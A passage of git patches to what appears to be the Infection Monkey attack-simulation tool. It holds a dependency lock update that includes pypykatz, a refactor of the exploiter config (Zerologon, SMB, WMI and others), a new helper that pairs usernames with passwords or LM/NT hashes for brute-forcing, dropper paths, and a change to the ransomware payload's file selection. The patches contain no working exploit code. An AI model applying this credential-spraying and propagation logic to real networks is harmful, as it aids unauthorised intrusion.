"sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", - "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", - "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", - "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", - "sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86", - "sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6", - "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", - "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", - "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", - "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", - "sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e", - "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", - "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", - "sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f", - "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", - "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", - "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", - "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145", - "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", - "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", - "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", - "sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a", - "sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207", - "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", - "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", - "sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd", - "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", - "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85", - "sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9", - "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", - "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", - "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", - "sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51", - "sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872" + "sha256:023af8c54fe63530545f70dd2a2a7eed18d07a9a77b94e8bf1e2ff7f252db9a3", + "sha256:09c86c9643cceb1d87ca08cdc30160d1b7ab49a8a21564868921959bd16441b8", + "sha256:142119fb14a1ef6d758912b25c4e803c3ff66920635c44078666fe7cc3f8f759", + "sha256:1d1fb9b2eec3c9714dd936860850300b51dbaa37404209c8d4cb66547884b7ed", + "sha256:204730fd5fe2fe3b1e9ccadb2bd18ba8712b111dcabce185af0b3b5285a7c989", + "sha256:24c3be29abb6b34052fd26fc7a8e0a49b1ee9d282e3665e8ad09a0a68faee5b3", + "sha256:290b02bab3c9e216da57c1d11d2ba73a9f73a614bbdcc027d299a60cdfabb11a", + "sha256:3028252424c72b2602a323f70fbf50aa80a5d3aa616ea6add4ba21ae9cc9da4c", + "sha256:30c653fde75a6e5eb814d2a0a89378f83d1d3f502ab710904ee585c38888816c", + "sha256:3cace1837bc84e63b3fd2dfce37f08f8c18aeb81ef5cf6bb9b51f625cb4e6cd8", + "sha256:4056f752015dfa9828dce3140dbadd543b555afb3252507348c493def166d454", + "sha256:454ffc1cbb75227d15667c09f164a0099159da0c1f3d2636aa648f12675491ad", + "sha256:598b65d74615c021423bd45c2bc5e9b59539c875a9bdb7e5f2a6b92dfcfc268d", + "sha256:599941da468f2cf22bf90a84f6e2a65524e87be2fce844f96f2dd9a6c9d1e635", + "sha256:5ddea4c352a488b5e1069069f2f501006b1a4362cb906bee9a193ef1245a7a61", + "sha256:62c0285e91414f5c8f621a17b69fc0088394ccdaa961ef469e833dbff64bd5ea", + "sha256:679cbb78914ab212c49c67ba2c7396dc599a8479de51b9a87b174700abd9ea49", + "sha256:6e104c0c2b4cd765b4e83909cde7ec61a1e313f8a75775897db321450e928cce", + "sha256:736895a020e31b428b3382a7887bfea96102c529530299f426bf2e636aacec9e", + "sha256:75bb36f134883fdbe13d8e63b8675f5f12b80bb6627f7714c7d6c5becf22719f", + "sha256:7d2f5d97fcbd004c03df8d8fe2b973fe2b14e7bfeb2cfa012eaa8759ce9a762f", + "sha256:80beaf63ddfbc64a0452b841d8036ca0611e049650e20afcb882f5d3c266d65f", + "sha256:84ad5e29bf8bab3ad70fd707d3c05524862bddc54dc040982b0dbcff36481de7", + "sha256:8da5924cb1f9064589767b0f3fc39d03e3d0fb5aa29e0cb21d43106519bd624a", + "sha256:961eb86e5be7d0973789f30ebcf6caab60b844203f4396ece27310295a6082c7", + "sha256:96de1932237abe0a13ba68b63e94113678c379dca45afa040a17b6e1ad7ed076", + "sha256:a0a0abef2ca47b33fb615b491ce31b055ef2430de52c5b3fb19a4042dbc5cadb", + "sha256:b2a5a856019d2833c56a3dcac1b80fe795c95f401818ea963594b345929dffa7", + "sha256:b8811d48078d1cf2a6863dafb896e68406c5f513048451cd2ded0473133473c7", + "sha256:c532d5ab79be0199fa2658e24a02fce8542df196e60665dd322409a03db6a52c", + "sha256:d3b64c65328cb4cd252c94f83e66e3d7acf8891e60ebf588d7b493a55a1dbf26", + "sha256:d4e702eea4a2903441f2735799d217f4ac1b55f7d8ad96ab7d4e25417cb0827c", + "sha256:d5653619b3eb5cbd35bfba3c12d575db2a74d15e0e1c08bf1db788069d410ce8", + "sha256:d66624f04de4af8bbf1c7f21cc06649c1c69a7f84109179add573ce35e46d448", + "sha256:e67ec74fada3841b8c5f4c4f197bea916025cb9aa3fe5abf7d52b655d042f956", + "sha256:e6f7f3f41faffaea6596da86ecc2389672fa949bd035251eab26dc6697451d05", + "sha256:f02cf7221d5cd915d7fa58ab64f7ee6dd0f6cddbb48683debf5d04ae9b1c2cc1", + "sha256:f0eddfcabd6936558ec020130f932d479930581171368fd728efcfb6ef0dd357", + "sha256:fabbe18087c3d33c5824cb145ffca52eccd053061df1d79d4b66dafa5ad2a5ea", + "sha256:fc3150f85e2dbcf99e65238c842d1cfe69d3e7649b19864c1cc043213d9cd730" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.1" + "markers": "python_version >= '3.7'", + "version": "==2.1.0" }, "minidump": { "hashes": [ @@ -627,11 +606,11 @@ }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:37f0a16df336c69c8c7bf76105a6c4a53a270d648920fa21de654a6649e70404", - "sha256:f0a40fbe1842598a7066f785da5ac103ae2a86b4cebf478e530e1df57464814e" + "sha256:7605e440ccb55904cb2a87d72e83642ef176fb7030c77e52ac4d9679bb3d1537", + "sha256:ab1d14fe053016fff7b0c6aea51d980bac6d02114b04063b46ef7dac70c70e1e" ], "markers": "python_version >= '3.7'", - "version": "==2022.1" + "version": "==2022.2" }, "pymssql": { "hashes": [ @@ -710,11 +689,11 @@ }, "pypykatz": { "hashes": [ - "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3", - "sha256:b63b19ec6ee8448bbcf7003e6ad1f9d7a2784fd8cee54aebcc5f717792a43200" + "sha256:ad397a6ca72033df70fc6655f8922f1ee16d6c5b05e0e40276899217e2f5dbd3", + "sha256:bddb2f0729856e3a0e8c481ec90b52a7e497506ee07ef20b99719496dda02b8d" ], "index": "pypi", - "version": "==0.3.12" + "version": "==0.5.2" }, "pysmb": { "hashes": [ @@ -725,21 +704,21 @@ }, "pyspnego": { "hashes": [ - "sha256:19da2de9d55d73d05b2798d4e5bd7ee5980e573ae50dc2f2bc460df5eaffe5ea", - "sha256:27dd07b6b918c289d2820c685b346a198498354cf3a1bfe9ec19cff9fa8fce2f", - "sha256:37c4d80a0c90bd2b670c583b2efbd210c26f54b1f7661c0cbc684a954b88c1c3", - "sha256:6387b4631120205240d1be25aff7a78d41db9b99bb5803b3ac6b7b6ed80b8920", - "sha256:6df4b5233ec28358992adadfef5be76807ca1424e7c0fbf430424759edc85f8b", - "sha256:75a0d4be4236f6b7c2ded0b43fd03e942c48cdbe91c2856f45f22884b7e92ddc", - "sha256:9235a3159a4e1648d6bb4d170b8d68ecf5b1f55fa2f3157335ce74df5c192468", - "sha256:a0d41d43657cd4d4456ca734ec00b6e24c95a144499cfc429371a310c4b10d7a", - "sha256:b02c9b61f85c96f969c78f492b35915a590dddabf987687eb1256ef2fd8fbdcb", - "sha256:ccb8d9cea310f1715d5ed3d2d092db9bf50ff2762cf94a0dd9dfab7774a727fe", - "sha256:e15d16b205fbc5e945244b974312e9796467913f69736fdad262edee0c3c105f", - "sha256:f4a00cc3796d34212b391caecb3fd636cdefea798cb4ac231f893bdade674f01" + "sha256:0516647486976ab152de64ea314cfb3e22ac7a8702a25aaf42f2f6385c6947ba", + "sha256:1c4710d95665e6501eaf60e78e243f0052bcba3692a8fc287b1fadcae7e674d9", + "sha256:2a461012fba2681d7acca50ae080566907c1fbcc8435f36eacca57c0e252fee8", + "sha256:37145548b1bd5dee54947737b133fed6826092920ee6465f35c911a01eb5aaa7", + "sha256:3b84f27aa43df45dcbad10b64f175de4d9c487c7d55aa85e4bebcc1700009f4c", + "sha256:4f82abd01a24979cfca1980bd24948dddb07a05b283a65af10e62051ef62c7dd", + "sha256:57984d673737a41a42acce03f392b40d8fc523c898512beefefd61a305501892", + "sha256:89905e90fb436ff5979827918a9f92425d4b7bec0d081aca573ec421786be006", + "sha256:b714f1a89c0f34572a8b30286e55f7c6332c135800d1a00188d319cb871bc398", + "sha256:c6e9c571489263fc7f995c1479960d8db71aef9f793919c282c1d3fc7416ad08", + "sha256:e7ae585feb22a42f643ba5d7426c5f235c12daced9c996607dbe094a835526ba", + "sha256:f6a96d270d5008580e8b5bd14f966660a1de9fe2600a55f14feba6534a4c435d" ], "markers": "python_version >= '3.6'", - "version": "==0.3.1" + "version": "==0.4.0" }, "pywin32": { "hashes": [ @@ -786,11 +765,11 @@ }, "setuptools": { "hashes": [ - "sha256:43a5575eea6d3459789316e1596a3d2a0d215260cacf4189508112f35c9a145b", - "sha256:66b8598da112b8dc8cd941d54cf63ef91d3b50657b374457eda5851f3ff6a899" + "sha256:2347b2b432c891a863acadca2da9ac101eae6169b1d3dfee2ec605ecd50dbfe5", + "sha256:e4f30b9f84e5ab3decf945113119649fec09c1fc3507c6ebffec75646c56e62b" ], "markers": "python_version >= '3.7'", - "version": "==60.8.2" + "version": "==60.9.3" }, "six": { "hashes": [ @@ -839,11 +818,11 @@ }, "typing-extensions": { "hashes": [ - "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", - "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", + "sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" ], "index": "pypi", - "version": "==4.0.1" + "version": "==4.1.1" }, "urllib3": { "hashes": [ From 915c58e8ccd2c13fb33f00b285db366791b8677a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Feb 2022 09:29:53 +0100 Subject: [PATCH 0458/1110] Agent, Island: Modify config to remove boolean propagator field --- monkey/infection_monkey/master/exploiter.py | 2 +- monkey/monkey_island/cc/services/config.py | 4 +--- .../automated_master_config.json | 24 +++++++++---------- .../infection_monkey/master/test_exploiter.py | 6 ++--- .../monkey_island/cc/services/test_config.py | 24 +++++++++---------- 5 files changed, 29 insertions(+), 31 deletions(-) diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 9d5fe4f00..4355ecc16 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -86,7 +86,7 @@ class Exploiter: exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) results_callback(exploiter_name, victim_host, exploiter_results) - if exploiter["propagator"] and exploiter_results.success: + if exploiter_name != "ZerologonExploiter" and exploiter_results.success: break def _run_exploiter( diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index f892801d2..6cb895ead 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -611,9 +611,7 @@ class ConfigService: else vulnerability_category ) - formatted_exploiters_config[category].append( - {"name": exploiter, "propagator": (exploiter != "ZerologonExploiter")} - ) + formatted_exploiters_config[category].append({"name": exploiter}) config.pop(flat_config_exploiter_classes_field, None) diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index 6524a169f..aaed36c1c 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -46,20 +46,20 @@ }, "exploiters": { "brute_force": [ - {"name": "MSSQLExploiter", "propagator": true}, - {"name": "PowerShellExploiter", "propagator": true}, - {"name": "SmbExploiter", "propagator": true}, - {"name": "SSHExploiter", "propagator": true}, - {"name": "WmiExploiter", "propagator": true} + {"name": "MSSQLExploiter"}, + {"name": "PowerShellExploiter"}, + {"name": "SmbExploiter"}, + {"name": "SSHExploiter"}, + {"name": "WmiExploiter"} ], "vulnerability": [ - {"name": "DrupalExploiter", "propagator": true}, - {"name": "ElasticGroovyExploiter", "propagator": true}, - {"name": "HadoopExploiter", "propagator": true}, - {"name": "ShellShockExploiter", "propagator": true}, - {"name": "Struts2Exploiter", "propagator": true}, - {"name": "WebLogicExploiter", "propagator": true}, - {"name": "ZerologonExploiter", "propagator": false} + {"name": "DrupalExploiter"}, + {"name": "ElasticGroovyExploiter"}, + {"name": "HadoopExploiter"}, + {"name": "ShellShockExploiter"}, + {"name": "Struts2Exploiter"}, + {"name": "WebLogicExploiter"}, + {"name": "ZerologonExploiter"} ] } }, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index 26067ab22..aaf30dc2d 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -36,11 +36,11 @@ def callback(): def exploiter_config(): return { "brute_force": [ - {"name": "PowerShellExploiter", "propagator": True}, - {"name": "SSHExploiter", "propagator": True}, + {"name": "PowerShellExploiter"}, + {"name": "SSHExploiter"}, ], "vulnerability": [ - {"name": "ZerologonExploiter", "propagator": False}, + {"name": "ZerologonExploiter"}, ], } diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index daecec1b6..60dd4e464 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -172,20 +172,20 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): def test_format_config_for_agent__exploiters(flat_monkey_config): expected_exploiters_config = { "brute_force": [ - {"name": "MSSQLExploiter", "propagator": True}, - {"name": "PowerShellExploiter", "propagator": True}, - {"name": "SSHExploiter", "propagator": True}, - {"name": "SmbExploiter", "propagator": True}, - {"name": "WmiExploiter", "propagator": True}, + {"name": "MSSQLExploiter"}, + {"name": "PowerShellExploiter"}, + {"name": "SSHExploiter"}, + {"name": "SmbExploiter"}, + {"name": "WmiExploiter"}, ], "vulnerability": [ - {"name": "DrupalExploiter", "propagator": True}, - {"name": "ElasticGroovyExploiter", "propagator": True}, - {"name": "HadoopExploiter", "propagator": True}, - {"name": "ShellShockExploiter", "propagator": True}, - {"name": "Struts2Exploiter", "propagator": True}, - {"name": "WebLogicExploiter", "propagator": True}, - {"name": "ZerologonExploiter", "propagator": False}, + {"name": "DrupalExploiter"}, + {"name": "ElasticGroovyExploiter"}, + {"name": "HadoopExploiter"}, + {"name": "ShellShockExploiter"}, + {"name": "Struts2Exploiter"}, + {"name": "WebLogicExploiter"}, + {"name": "ZerologonExploiter"}, ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) From b7c7650f49752f88f8fd7c10d91e5e0921b6b47c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Feb 2022 07:55:43 -0500 Subject: [PATCH 0459/1110] Agent: Copy credential generation from WormConfig to new brute_force.py * Create a new module for useful functions for brute-force exploiters * Copy functions for generating all pairs of username/password to brute_force.py * Replace specific functions for generating username/password pairs and username/ssh_key pairs with a single generate_identity_secret_pairs() function, since the distinction is no longer needed. * Add unit tests --- monkey/infection_monkey/utils/brute_force.py | 28 ++++++ .../utils/test_brute_force.py | 94 +++++++++++++++++++ 2 files changed, 122 insertions(+) create mode 100644 monkey/infection_monkey/utils/brute_force.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py new file mode 100644 index 000000000..e353bd8d9 --- /dev/null +++ b/monkey/infection_monkey/utils/brute_force.py @@ -0,0 +1,28 @@ +from itertools import product +from typing import Any, Iterable, Tuple + + +def generate_identity_secret_pairs( + identities: Iterable, secrets: Iterable +) -> Iterable[Tuple[Any, Any]]: + return product(identities, secrets) + + +def generate_username_password_or_ntlm_hash_combinations( + usernames: Iterable[str], + passwords: Iterable[str], + lm_hashes: Iterable[str], + nt_hashes: Iterable[str], +) -> Iterable[Tuple[str, str, str, str]]: + """ + Returns all combinations of the configurations users and passwords or lm/ntlm hashes + :return: + """ + cred_list = [] + for cred in product(usernames, passwords, [""], [""]): + cred_list.append(cred) + for cred in product(usernames, [""], lm_hashes, [""]): + cred_list.append(cred) + for cred in product(usernames, [""], [""], nt_hashes): + cred_list.append(cred) + return cred_list diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py new file mode 100644 index 000000000..6d79c361e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_brute_force.py @@ -0,0 +1,94 @@ +from itertools import chain, compress + +import pytest + +from infection_monkey.utils.brute_force import ( + generate_identity_secret_pairs, + generate_username_password_or_ntlm_hash_combinations, +) + +USERNAMES = ["shaggy", "scooby"] +PASSWORDS = ["1234", "iloveyou", "the_cake_is_a_lie"] +EXPECTED_USERNAME_PASSWORD_PAIRS = { + (USERNAMES[0], PASSWORDS[0]), + (USERNAMES[0], PASSWORDS[1]), + (USERNAMES[0], PASSWORDS[2]), + (USERNAMES[1], PASSWORDS[0]), + (USERNAMES[1], PASSWORDS[1]), + (USERNAMES[1], PASSWORDS[2]), +} + +LM_HASHES = ["DEADBEEF", "FACADE"] +EXPECTED_USERNAME_LM_PAIRS = { + (USERNAMES[0], LM_HASHES[0]), + (USERNAMES[0], LM_HASHES[1]), + (USERNAMES[1], LM_HASHES[0]), + (USERNAMES[1], LM_HASHES[1]), +} + +NT_HASHES = ["FADED", "ADDED"] +EXPECTED_USERNAME_NT_PAIRS = { + (USERNAMES[0], NT_HASHES[0]), + (USERNAMES[0], NT_HASHES[1]), + (USERNAMES[1], NT_HASHES[0]), + (USERNAMES[1], NT_HASHES[1]), +} + + +def test_generate_username_password_pairs(): + generated_pairs = generate_identity_secret_pairs(USERNAMES, PASSWORDS) + assert set(generated_pairs) == EXPECTED_USERNAME_PASSWORD_PAIRS + + +@pytest.mark.parametrize("usernames, passwords", [(USERNAMES, []), ([], PASSWORDS), ([], [])]) +def test_generate_username_password_pairs__empty_inputs(usernames, passwords): + generated_pairs = generate_identity_secret_pairs(usernames, passwords) + assert len(set(generated_pairs)) == 0 + + +def generate_expected_username_password_hash_combinations( + passwords: bool, lm_hashes: bool, nt_hashes: bool +): + possible_combinations = ( + {(p[0], p[1], "", "") for p in EXPECTED_USERNAME_PASSWORD_PAIRS}, + {(p[0], "", p[1], "") for p in EXPECTED_USERNAME_LM_PAIRS}, + {(p[0], "", "", p[1]) for p in EXPECTED_USERNAME_NT_PAIRS}, + ) + + return set( + chain.from_iterable(compress(possible_combinations, (passwords, lm_hashes, nt_hashes))) + ) + + +def test_generate_username_password_or_ntlm_hash_pairs__empty_usernames(): + generated_pairs = generate_username_password_or_ntlm_hash_combinations( + [], PASSWORDS, LM_HASHES, NT_HASHES + ) + + assert len(set(generated_pairs)) == 0 + + +@pytest.mark.parametrize( + "passwords,lm_hashes,nt_hashes", + [ + (PASSWORDS, LM_HASHES, NT_HASHES), + ([], LM_HASHES, NT_HASHES), + (PASSWORDS, [], NT_HASHES), + (PASSWORDS, LM_HASHES, []), + (PASSWORDS, [], []), + ([], LM_HASHES, []), + ([], [], NT_HASHES), + ([], [], []), + ], +) +def test_generate_username_password_or_ntlm_hash_pairs__with_usernames( + passwords, lm_hashes, nt_hashes +): + expected_credential_combinations = generate_expected_username_password_hash_combinations( + bool(passwords), bool(lm_hashes), bool(nt_hashes) + ) + generated_pairs = generate_username_password_or_ntlm_hash_combinations( + USERNAMES, passwords, lm_hashes, nt_hashes + ) + + assert set(generated_pairs) == expected_credential_combinations From 5c872a67c3b94490abf75ac5131ea6eefa381aee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Feb 2022 08:01:49 -0500 Subject: [PATCH 0460/1110] Agent: Simplify generate_username_password_or_ntlm_hash_combinations() --- monkey/infection_monkey/utils/brute_force.py | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index e353bd8d9..ff74d9712 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -1,4 +1,4 @@ -from itertools import product +from itertools import chain, product from typing import Any, Iterable, Tuple @@ -18,11 +18,8 @@ def generate_username_password_or_ntlm_hash_combinations( Returns all combinations of the configurations users and passwords or lm/ntlm hashes :return: """ - cred_list = [] - for cred in product(usernames, passwords, [""], [""]): - cred_list.append(cred) - for cred in product(usernames, [""], lm_hashes, [""]): - cred_list.append(cred) - for cred in product(usernames, [""], [""], nt_hashes): - cred_list.append(cred) - return cred_list + return chain( + product(usernames, passwords, [""], [""]), + product(usernames, [""], lm_hashes, [""]), + product(usernames, [""], [""], nt_hashes), + ) From 4d6f552ba22af7c1689ed03af5df6eea16c62baf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Feb 2022 09:02:41 -0500 Subject: [PATCH 0461/1110] Agent: Add documentation to functions in brute_force. --- monkey/infection_monkey/utils/brute_force.py | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index ff74d9712..192905aa8 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -5,6 +5,13 @@ from typing import Any, Iterable, Tuple def generate_identity_secret_pairs( identities: Iterable, secrets: Iterable ) -> Iterable[Tuple[Any, Any]]: + """ + Generates all possible combinations of identities and secrets (e.g. usernames and passwords). + :param identities: An iterable containing identity components of a credential pair + :param secrets: An iterable containing secret components of a credential pair + :return: An iterable of all combinations of identity/secret pairs. If either identities or + secrets is empty, an empty iterator is returned. + """ return product(identities, secrets) @@ -15,8 +22,16 @@ def generate_username_password_or_ntlm_hash_combinations( nt_hashes: Iterable[str], ) -> Iterable[Tuple[str, str, str, str]]: """ - Returns all combinations of the configurations users and passwords or lm/ntlm hashes - :return: + Generates all possible combinations of the following: username/password, username/lm_hash, + username/nt_hash. + :param usernames: An iterable containing usernames + :param passwords: An iterable containing passwords + :param lm_hashes: An iterable containing lm_hashes + :param nt_hashes: An iterable containing nt_hashes + :return: An iterable containing tuples of all possible credentials combinations. Note that each + tuple will contain a username and at most one secret component (i.e. password, lm_hash, + nt_hash). If usernames is empty, an empty iterator is returned. If all secret component + iterators are empty, an empty iterator is returned. """ return chain( product(usernames, passwords, [""], [""]), From cecf131528b543c4a024374d77315fa08b3c3dbf Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 18 Feb 2022 20:04:24 +0100 Subject: [PATCH 0462/1110] Island: Modify config to add exploiters and exploit options --- monkey/monkey_island/cc/services/config.py | 17 +++++++++-- .../monkey_island/cc/services/test_config.py | 29 +++++++++++-------- 2 files changed, 32 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 6cb895ead..19a2a4497 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -602,7 +602,20 @@ class ConfigService: "WmiExploiter", } - formatted_exploiters_config = {"brute_force": [], "vulnerability": []} + exploit_options = {} + + for dropper_target in [ + "dropper_target_path_linux", + "dropper_target_path_win_32", + "dropper_target_path_win_64", + ]: + exploit_options[dropper_target] = config.get(dropper_target, "") + + formatted_exploiters_config = { + "options": exploit_options, + "brute_force": [], + "vulnerability": [], + } for exploiter in sorted(config[flat_config_exploiter_classes_field]): category = ( @@ -611,7 +624,7 @@ class ConfigService: else vulnerability_category ) - formatted_exploiters_config[category].append({"name": exploiter}) + formatted_exploiters_config[category].append({"name": exploiter, "options": {}}) config.pop(flat_config_exploiter_classes_field, None) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 60dd4e464..9bc86bb7f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -171,21 +171,26 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): def test_format_config_for_agent__exploiters(flat_monkey_config): expected_exploiters_config = { + "options": { + "dropper_target_path_linux": "/tmp/monkey", + "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe", + "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", + }, "brute_force": [ - {"name": "MSSQLExploiter"}, - {"name": "PowerShellExploiter"}, - {"name": "SSHExploiter"}, - {"name": "SmbExploiter"}, - {"name": "WmiExploiter"}, + {"name": "MSSQLExploiter", "options": {}}, + {"name": "PowerShellExploiter", "options": {}}, + {"name": "SSHExploiter", "options": {}}, + {"name": "SmbExploiter", "options": {}}, + {"name": "WmiExploiter", "options": {}}, ], "vulnerability": [ - {"name": "DrupalExploiter"}, - {"name": "ElasticGroovyExploiter"}, - {"name": "HadoopExploiter"}, - {"name": "ShellShockExploiter"}, - {"name": "Struts2Exploiter"}, - {"name": "WebLogicExploiter"}, - {"name": "ZerologonExploiter"}, + {"name": "DrupalExploiter", "options": {}}, + {"name": "ElasticGroovyExploiter", "options": {}}, + {"name": "HadoopExploiter", "options": {}}, + {"name": "ShellShockExploiter", "options": {}}, + {"name": "Struts2Exploiter", "options": {}}, + {"name": "WebLogicExploiter", "options": {}}, + {"name": "ZerologonExploiter", "options": {}}, ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) From ccfe0a773ee9409eca5cdafdc8fcfab722ac7ec1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Feb 2022 14:03:42 -0500 Subject: [PATCH 0463/1110] Agent: Use filecmp instead of sha256 hash in ransomware payload --- monkey/infection_monkey/payload/ransomware/consts.py | 1 - .../infection_monkey/payload/ransomware/file_selectors.py | 6 +++--- .../payload/ransomware/test_readme_dropper.py | 7 +++---- 3 files changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/payload/ransomware/consts.py b/monkey/infection_monkey/payload/ransomware/consts.py index 4010c01da..da20a2949 100644 --- a/monkey/infection_monkey/payload/ransomware/consts.py +++ b/monkey/infection_monkey/payload/ransomware/consts.py @@ -2,4 +2,3 @@ from pathlib import Path README_SRC = Path(__file__).parent / "ransomware_readme.txt" README_FILE_NAME = "README.txt" -README_SHA256_HASH = "a5608df1d9dbdbb489838f9aaa33b06b6cd8702799ff843b4b1704519541e674" diff --git a/monkey/infection_monkey/payload/ransomware/file_selectors.py b/monkey/infection_monkey/payload/ransomware/file_selectors.py index 5707fba7d..bcdd87b46 100644 --- a/monkey/infection_monkey/payload/ransomware/file_selectors.py +++ b/monkey/infection_monkey/payload/ransomware/file_selectors.py @@ -1,7 +1,7 @@ +import filecmp from pathlib import Path from typing import List, Set -from common.utils.file_utils import get_file_sha256_hash from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -10,7 +10,7 @@ from infection_monkey.utils.dir_utils import ( is_not_symlink_filter, ) -from .consts import README_FILE_NAME, README_SHA256_HASH +from .consts import README_FILE_NAME, README_SRC class ProductionSafeTargetFileSelector: @@ -33,4 +33,4 @@ def 